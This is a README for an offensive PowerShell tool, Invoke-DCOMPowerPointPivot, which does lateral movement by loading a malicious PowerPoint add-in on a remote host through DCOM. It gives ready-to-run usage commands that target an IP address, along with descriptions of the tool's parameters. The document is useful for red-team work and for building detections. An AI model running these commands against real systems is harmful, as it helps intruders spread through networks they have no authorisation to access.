/Invoke-DCOMPowerPointPivot

Executes lateral movement through PowerPoint DCOM objects

Primary LanguagePowerShell

Invoke-DCOMPowerPointPivot

This cmdlet executes lateral movement through PowerPoint DCOM via malicious Add-in

Usage

(MANDATORY PARAMETERS)
        PS C:\> Invoke-DCOMPowerPointPivot -Target "192.168.1.20" -AddinPath "c:\PowerPoint.ppa"

(OPTIONAL PARAMETERS)
        PS C:\> Invoke-DCOMPowerPointPivot -Target "192.168.1.20" -AddinPath "c:\PowerPoint.ppa" -DestPath "c:\Windows\Temp\NiceFile.ppam" -ExecWaitTime 10

Parameters

  • Target
    • IP or hostname of target
  • AddInPath
    • Local path to the PowerPoint Add-in
  • DestPath (Optional)
    • Destination of the PowerPoint Add-in on the target
  • ExecWaitTime (Optional)
    • Number of seconds to wait before unloading the Add-In and cleaning up